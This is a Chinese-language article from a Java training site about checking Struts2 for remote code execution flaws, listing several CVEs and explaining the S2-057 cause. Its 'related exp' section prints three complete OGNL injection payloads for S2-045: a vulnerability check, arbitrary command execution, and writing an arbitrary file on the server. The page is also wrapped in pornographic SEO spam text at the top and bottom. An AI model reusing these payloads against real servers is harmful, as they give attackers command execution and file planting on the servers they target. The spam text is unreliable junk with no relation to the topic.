大战熟女丰满人妻av-荡女精品导航-岛国aaaa级午夜福利片-岛国av动作片在线观看-岛国av无码免费无禁网站-岛国大片激情做爰视频

專注Java教育14年 全國咨詢/投訴熱線:400-8080-105
動(dòng)力節(jié)點(diǎn)LOGO圖
始于2009,口口相傳的Java黃埔軍校
首頁 hot資訊 Struts2漏洞利用工具的檢查方法

Struts2漏洞利用工具的檢查方法

更新時(shí)間:2022-04-12 09:11:29 來源:動(dòng)力節(jié)點(diǎn) 瀏覽3368次

Struts2是一個(gè)基于MVC設(shè)計(jì)模式的Web應(yīng)用框架,但2存在遠(yuǎn)程代碼執(zhí)行的漏洞,動(dòng)力節(jié)點(diǎn)小編認(rèn)為,檢測出漏洞就要進(jìn)行Struts2漏洞修復(fù),現(xiàn)在Struts2漏洞檢測工具2017版增加S2-046,官方發(fā)布S2-046和S2-045漏洞引發(fā)原因一樣,只是利用漏洞的位置發(fā)生了變化,S2-046方式可能繞過部分WAF防護(hù),存在S2-045就存在S2-046。

當(dāng)Struts2開啟devMode模式時(shí),將導(dǎo)致嚴(yán)重遠(yuǎn)程代碼執(zhí)行漏洞。如果WebService啟動(dòng)權(quán)限為最高權(quán)限時(shí),可遠(yuǎn)程執(zhí)行任意命令,包括關(guān)機(jī)、建立新用戶、以及刪除服務(wù)器上所有文件等等。

支持S2-057 CVE-2018-11776 、S2-048 CVE-2017-9791、S2-046 CVE-2017-5638、S2-045 CVE-2017-5638、S2-037 CVE-2016-4438、 S2-032 CVE-2016-3081 、S2-020 CVE-2014-0094 、S2-019 CVE-2013-4316等漏洞檢測!

Apache Struts2存在遠(yuǎn)程代碼執(zhí)行的高危漏洞(S2-057/CVE-2018-11776),該漏洞由Semmle Security Research team的安全研究員Man YueMo發(fā)現(xiàn)。該漏洞是由于在Struts2開發(fā)框架中使用namespace功能定義XML配置時(shí),namespace值未被設(shè)置且在上層動(dòng)作配置(Action Configuration)中未設(shè)置或用通配符namespace,可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行。同理,url標(biāo)簽未設(shè)置value和action值且上層動(dòng)作未設(shè)置或用通配符namespace時(shí)也可能導(dǎo)致遠(yuǎn)程代碼執(zhí)行!

相關(guān)exp:

S2-045:

1.驗(yàn)證漏洞,修改Content-Type,返回內(nèi)容為“webpath”代表存在漏洞。

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).

(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}

2.執(zhí)行命令

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new

java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).

(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).

(#res.getWriter().close()).(#s.close())}

3.上傳文件:

%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).

(#_memberAccess?(#_memberAccess=#dm):

((#container=#context['com.opensymphony.xwork2.ActionContext.container']).

(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).

(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).

(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).

(#res=@org.apache.struts2.ServletActionContext@getResponse()).

(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new

java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).

(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).

(#res.getWriter().close())}

以上就是關(guān)于“Struts2漏洞利用工具的檢查方法”介紹,大家如果想了解更多相關(guān)知識,不妨來關(guān)注一下動(dòng)力節(jié)點(diǎn)的Struts2視頻教程,里面的內(nèi)容更加豐富,課程由淺到深,通俗易懂,適合沒有基礎(chǔ)的小伙伴學(xué)習(xí),希望對大家能夠有所幫助。

提交申請后,顧問老師會(huì)電話與您溝通安排學(xué)習(xí)

免費(fèi)課程推薦 >>
技術(shù)文檔推薦 >>
主站蜘蛛池模板: 亚洲欧美日韩精品香蕉 | 亚洲综合欧美日韩 | 四虎高清成人永久免费影院 | 黑丝毛片 | 成人日韩精品 | 国产亚洲欧美另类久久久 | 精品久久在线 | 久久99中文字幕久久 | 亚洲精品久中文字幕 | 亚洲国产欧美在线不卡中文 | 97av在线视频 | 天天色天天拍 | 色婷婷av777 色婷婷国产 | www.久久精品 | 亚洲国产精品久久久天堂麻豆 | 久久免费看 | 欧美国产亚洲精品a第一页 欧美国产亚洲精品高清不卡 | 成年黄网站免费大全毛片 | 精品国产亚洲一区二区三区 | 日日拍夜夜嗷嗷叫狠狠 | 国产亚洲精品成人a在线 | 中文字幕2区 | 欧美不卡在线 | 亚洲精品96欧美一区二区 | 深夜福利国产精品亚洲尤物 | 国产玖玖玖精品视频 | 操亚洲| 欧美激情在线观看一区二区三区 | 亚洲国产成人精品女人久久久 | 国产成在线人视频免费视频 | aaaa级日本片免费视频 | 99视频精品全国在线观看 | 欧美精品久久久久久久免费观看 | 久久免费精品一区二区 | 亚洲视频大全 | 亚洲国产成人超福利久久精品 | 国产福利91精品一区二区 | 亚洲国产精品久久日 | www.国产| 牛牛a级毛片在线播放 | 国产一区在线免费观看 |